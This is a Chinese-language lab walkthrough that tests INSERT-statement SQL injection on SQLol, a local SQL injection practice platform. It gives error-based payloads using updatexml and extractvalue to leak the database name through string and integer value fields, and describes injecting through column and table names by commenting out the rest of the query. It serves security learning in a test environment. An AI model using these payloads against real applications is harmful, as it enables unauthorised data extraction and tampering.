访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试。

insert语句:



INSERT INTO 【users】 (【username】, isadmin) VALUES (【'1'】, 【0】)



接收的参数可能拼接到上述语句中【】的任一个位置。

在这里我们一般使用

1、报错注入

2、盲注(布尔类型、时间延迟类型)

有的注入点可以同时使用多种方法注入,这里只演示一种。

下面演示注入到不同位置的方法。

 

一、Value(string)

构造POC:



' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '



如下图,获取数据库名sqlol 

SQL注入测试平台 SQLol -3.INSERT注入测试_获取数据

 

二、Value(int)

构造POC:



'' or extractvalue(1,concat(0x7e,database())) or ''



如下图,测试中获取数据库sqlol

SQL注入测试平台 SQLol -3.INSERT注入测试_sql_02

 

三、Column Name

按照insert的语句的语法,

INSERT INTO users (【1】, isadmin) VALUES ('haxotron9000', 0)

注入位置在【1】,我能想到的利用方式有两种,

1、找到users中的其他columns,直接插入值,造成垃圾数据,给用户造成困扰;

2、注释掉后面的语句,自由构造sql语句。

 

四、Table Name

注入点位置在【1】处

1】(username, isadmin) VALUES ('haxotron9000', 0) 

直接注释掉后面的语句,可以将数据插入任何表中。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

SQL注入测试平台 SQLol -3.INSERT注入测试_获取数据_03